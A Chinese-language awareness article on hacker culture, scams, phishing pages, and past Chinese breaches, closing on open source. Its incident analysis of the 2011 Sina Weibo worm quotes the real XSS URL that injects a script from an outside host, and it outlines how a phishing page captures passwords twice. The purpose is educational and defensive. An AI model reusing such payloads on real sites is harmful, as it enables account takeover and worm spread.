很多人认为“黑客”这个词具有贬义,实际上黑客却在推动计算机不断进步方面功不可没,黑客与安全技术密不可分。如果好坏善恶需要明确的词语来划分的话,那么善意的黑客我们称为白帽黑客,恶意的黑客则被称为黑帽黑客。俗话说“攻防不绝对,技术无黑白”,好坏要看使用者自身。
放眼当下,大多数人对黑客的认识还停留在“破坏”与“入侵”等词汇上,造成这种现象的原因,一方面,大众往往无法直接接触黑客群体,仅在影视作品中了解过黑客,殊不知,影视作品多有夸张成分。另一方面,新闻媒体对黑客的报道也略有偏颇,新闻内容有时实在是夸张至极,充斥着添油加醋之后用以吸引眼球的文字。
一、不得不防
对于网络安全以及黑客技术这块领域,很多人往往感到不知所措、前进困难,这时就出现了一些不怀好意的人,利用各种各样的手段欺骗他人,我们现在就来剖析一下这些常见的现象。
1、防范各种骗子
初学者不了解黑客的世界,却又不断尝试接触,这时,不怀好意的人就会乘虚而入,利用初学者对于黑客的不了解,自称黑客高手,说出一些看似高深的名词,骗取初学者的信任,并要求其缴纳“学费”,这种行为与诈骗无异。但由于取证困难,骗子很难得到惩罚,这更加助长了他们的嚣张气焰。
在此,介绍一些识别骗子的方法,各位可以作为参考,或告诉身边对黑客技术感兴趣的初学者,提高警惕,谨防上当受骗。
(1)所谓黑客
很多时候,骗子们会在各种社区、论坛或是社交网站上发布类似于“黑客收徒”的信息,往往伴随着“技术列表”,如图1所示。
这是一种典型的骗术,可能那些人对所列举的技术仅仅是知道名字而已,有时打出的“特价收徒”则满足了一些人贪图小利的性格,使其上当受骗。除此之外,试想,如果这个人的技术真的如此高深,为什么还会为了几十元钱而到处散布“收徒信息”,张口闭口就是“收钱”呢?真正的技术大牛应该是抓紧时间研究技术,提升自己。另外,想纠正一个普遍存在的认识错误:“盗号”很简单。试想,如果盗号真的如此简单,那让腾讯、阿里巴巴这些大公司的技术人员情何以堪?就算真的有人拥有这样的技术,他也不会为了一些可笑的理由去盗取别人的社交账号的。
(2)不要随意运行不明程序
有一些骗术手段更加隐蔽,以发送“黑客软件”为借口,给没有防备的新手发送木马软件,窃取信息,甚至让你的计算机在无声无息中沦为“肉鸡”(受黑客远程控制的计算机)。
(3)不要被看似“黑客”的东西蒙蔽
很多新手对黑客感兴趣是因为“觉得很酷”,正因如此,骗子们往往会用一些很酷的东西来吸引别人。例如“匿名者”以及“V字仇杀队”,“匿名者”黑客团队给人留下的印象就是“酷”和“神秘”,也难怪很多骗子打着“匿名者”的幌子招摇撞骗了。
还是那句话,真正钻研技术的人是不需要这些表面功夫的。用社交网络上夸张的头像等信息来彰显自己“黑客”身份的人,大多数是骗子或“娱乐圈”人士。
(4)黑客“娱乐圈”
娱乐圈在我们的社会不可或缺,但在网络安全的世界里,这个词就颇有些讽刺意义了。“黑客娱乐圈”本身没有一个准确的定义,一般认为:没有钻研技术的精神,整天考虑如何让自己看起来像黑客,仅会使用一些小工具就沾沾自喜、停滞不前的人就是娱乐圈成员;也经常用来代指以“黑客”为噱头炒作自己的人。
这样的人往往在一些QQ群里出现,这些群一般都有成百上千的群成员,并且各个群之间的成员有着相当高的重合性——这些混迹于各种社交群的人总会添加不止一个娱乐群。每天沉迷于谈论“刷QQ钻石”“网赚”这些东西,并乐此不疲地在自己的社交朋友圈发布“收徒信息”,那么没错了,他九成就属于黑客“娱乐圈”。他们沉浸在自己浮躁的世界里,并乐在其中。
这并不是个例,很多刚进入这个圈子或渴望进入这个圈子的新手都希望追求一些更“酷”的事物,而不是潜心钻研技术。好奇之心人皆有之,希望徘徊在“娱乐圈”的朋友们能看清那些光鲜下的不实,戒骄戒躁,悬崖勒马。
2、防范钓鱼网站
钓鱼网站的存在确实给诈骗活动提供了便利(例如,恭喜您获得了价值×××元的××奖品一类),重点是针对用户账号、密码的钓鱼页面。
随着Web技术越来越发达,制作钓鱼页面的技术也随之提高,除去用来诈骗的钓鱼页面,还有一种钓鱼页面值得人们关注,即黑客攻击钓鱼页面。这种类型的钓鱼页面一般以得到目标用户密码等隐私信息为目的,伪造目标用户熟悉的Web环境并实施攻击。
为了防范这种钓鱼攻击,最便捷可靠的方法就是留意浏览器URL信息。
此处仅仅是指浏览器显示的URL,而并不是点击链接时的URL——因为URL可以跳转。
那么,在受害者没有意识地进入攻击者的网站之后,下一步攻击又是如何展开的呢?用户的密码信息又是如何神不知鬼不觉地泄露的呢?
攻击者制作的登录页面看起来和真正的登录页面无异,但这个页面的工作原理如下:
(1)受害者输入账号、密码信息。
(2)提示密码错误,后台第一次记录账号、密码。
(3)受害者再次输入账号、密码。
(4)提示密码正确,并跳转到受害者真正想访问的网站,同时后台第二次记录账号、密码。
(5)记录两次输入的密码,发送给攻击者。
这样一来,抱有“我第一次随便输入密码就知道是不是真的”心态的防御方式彻底宣告失败。
回到刚才的那句话:“最便捷可靠的方式就是留意浏览器上的URL信息”,伪装得再精妙的钓鱼页面,URL也有着明显的不同,在登录时留意URL栏,无疑是一种简便高效的防御方式。该方法不能防御XSS覆盖页面攻击,不过无须过于担心,遇到这种攻击的概率实在是可以忽略。
还有一点需要注意的是,有些钓鱼攻击者会用子域名来迷惑用户的眼睛,例如:www.baidu.com.×××.com(假设×××.com为攻击者的网站)。
这就需要我们睁大眼睛,对于要求输入密码的网站多留心,或是观察浏览器提供的信息来发现这些钓鱼页面(一些浏览器会自动判断该网站的真伪)。
二、敲响警钟
1、CSDN事件
2011年12月21日上午,有骇客在网上披露CSDN数据库泄露,并提供了下载地址,高达600余万个注册邮箱与密码泄露,并且所有密码都使用明文储存。CSDN是国内最大的以程序员为核心的大型网站,却采用明文储存用户密码(当时即便是小型BBS网站数据库都采用MD5等方式对密码加密)。
21日晚,CSDN发布声明并道歉。据CSDN官方解释,该数据库为CSDN作为备份所用,CSDN在2009年4月之前是以明文保存密码,而泄漏原因不详。
继CSDN的数据库泄漏之后,天涯社区、世纪佳缘、开心网等十余家国内知名网站的近5000万用户信息陆续在网上被人公布,各大社区的信誉也遭受质疑。当然,这次严重的事故同时也提高了国内对网络信息安全的重视。
2、12306事件
2014年12月25上午,乌云漏洞报告平台上出现了一则标题为“大量12306用户数据在互联网疯传,包括用户账号、明文密码、身份证号码、邮箱等(泄漏途径目前未知)”的新闻,缺陷编号为:WooYun-2014-88532。这可让网上一下炸了锅,各种讨论与分析瞬间出炉,根据对泄漏数据的分析及当晚的官方信息,这次事件极有可能是一次“撞库攻击”。那么何谓“撞库”?就拿刚才提到的CSDN数据泄露来说,攻击者如果用这些泄露的数据尝试登录12306网站,或是编写脚本进行大量登录测试,就叫撞库攻击。然而被泄露的数据远不止CSDN这么多,量变引起质变,多米诺骨牌效应导致了大量数据的泄露。
3、“天河”超级计算机事件
2015年2月12日,又一个神奇的漏洞引起了广泛关注,这个漏洞竟然出现在超级计算机天河一号上,着实令人震惊(图2)。但是仔细一看漏洞细节,却又让人啼笑皆非:天河一号的办公环境有一个未加密的无线网络,任何设备都可以轻易接入,直接进入内网。这位白帽子小黑客顺便找了找其他可能存在的漏洞,这一找可不得了,他发现天河一号超级计算机内部存在大量弱口令,以及部分服务器存在破壳漏洞(即bash漏洞,一个十分严重的Linux漏洞)。
回顾以上列举的3个典型安全事件,其都与密码安全息息相关,也正好对应了密码安全中3个“过不去的坎”:明文存储、撞库(同一密码多用)和弱口令。
4、新浪微博XSS蠕虫事件
2011年6月28日晚,中国大型SNS网站——新浪网的新浪微博业务遭受XSS蠕虫攻击。中招的微博博主会自动通过广播和私信的方式发布一些诱惑性信息,用户单击链接后便会触发XSS,发布同样的信息并自动关注hellosamy,中招的用户单击后又会触发XSS,蠕虫便如链式反应般传播。由于蠕虫的指数爆炸型传播、微博的分享形式以及一些大V认证的用户被攻击,该蠕虫在16分钟内就感染了30 000名以上用户,可以说是近几年中国SNS社区受到的最大的一次攻击。
这次攻击并没有直接造成用户的重大损失,更像是一场黑客的恶作剧(从收听的hellosamy用户也能看出,Samy是XSS蠕虫鼻祖herosamy的作者,他的XSS蠕虫曾造成社交网站MySpace的瘫痪)。但同样,这次事件也提高了公众对网络安全的关注(随后新浪多处反射型XSS被披露)。而这次漏洞成因更让人大跌眼镜:新浪对该参数竟然完全没有过滤!这次攻击在Chrome、Safari中会被XSS Filter拦截,而IE、Firefox未能幸免,根据当时IE、Firefox的市场占有率,这的确是一次范围很广的攻击。
让我们来分析一下这个被用来传播XSS蠕虫的URL:
http://weibo.com/pub/star/g/xyyyd”><script src=//www.2kt.cn/images/
t.js></script>?type=update
在访问这个URL时,新浪会对字符串进行处理,结果变成了访问:
http://weibo.com/pub/star.php?g=xyyyd”><script src=//www.2kt.cn/
images/t.js></script>?type=update
由于参数g并没有进行应有的过滤,导致这个来自外部的JS脚本被嵌入页面内。
三、开源理念
“开源”即开放源代码,具有开源特性的软件(包括操作系统),其源代码对所有人开放,任何人均可以修改、使用、再发行这些软件。下面让我们来简单地了解一下开源。
相信大家都听说过GNU基金会基于Linus Torvalds开发的Linux内核创立的GNU/Linux(也称Linux)操作系统,它的许多发行版本例如Debian、Ubuntu、Red Hat等均为基于开源内核的再创作,广为程序员与技术人员所知。
开源软件并非如其字面意义一般只是简单地放出软件的源代码。开源软件需要配备开源许可证,不同的开源软件通常会因不同的开源目的选择不同的许可证,例如Linux内核使用的是GPL许可证,而Android系统使用的是Apache许可证。不同的许可证决定了大家可以如何使用这份代码,例如GPL许可证规定了任何使用了GPL源码的程序也必须用GPL许可证开源。常见的开源许可证有GPL、MIT、Apache、MS-PL等。开源软件在国外通常也被称为自由软件(Free Software),自由软件的一个关键特征就是它的许可证,不使用开源许可证发布的源代码在美国法律中依然被认定为专有(作者享有完整知识产权)软件,例如微软发布的Reference Source。国内在开源软件领域尚处于法律盲区,也造成了一些大型厂商无所顾忌,出现了不遵守开源协议的现象。
开源代表着自由、高效率和共享。作为程序员、开发人员,可以使用源代码进行二次开发并再发布,也可以对原始开源项目进行拓展,将更改提交回原始代码仓库,使开源软件的特性更多、功能更强大、更易使用,同时提升普通用户的使用体验。这些对开源软件做出贡献的开发者也称为开源者,他们和其他为开源软件做出贡献的人员(例如进行本地化或参与测试的人员)组成了开源社区。近些年随着互联网的高速发展,开源在国内也越来越受欢迎,各类开源社区大量涌现,许多城市都有了当地的LUG(Linux User Group/Linux, Linux用户社组),还有一些类似AOSC(安同开源社区)这样专精于开发自己的开源软件/系统的社区。开源与开发者、使用者是相得益彰的,而它所体现出的自由、共享与探索精神,则与黑客精神在本质是相通的。
CMS(Content Management System)即内容管理系统,随着Web 2.0时代的发展,越来越多的企业、个人在使用CMS建设网站。由于几乎所有CMS都开源,所以很多的CMS漏洞挖掘实际上是基于代码审计,也就是白盒漏洞挖掘。
四、写在最后
黑客的世界五彩缤纷,但又充斥着华而不实的东西,黑客确实看起来很酷,但这酷的背后其实蕴含着十分艰苦的学习过程,希望一蹴而就的人往往会落进不怀好意者的圈套。黑客与安全并不是相对的,他(它)们相辅相成——因为有黑客的探索才会有安全,又正是因为无法做到绝对安全,黑客才有存在的意义。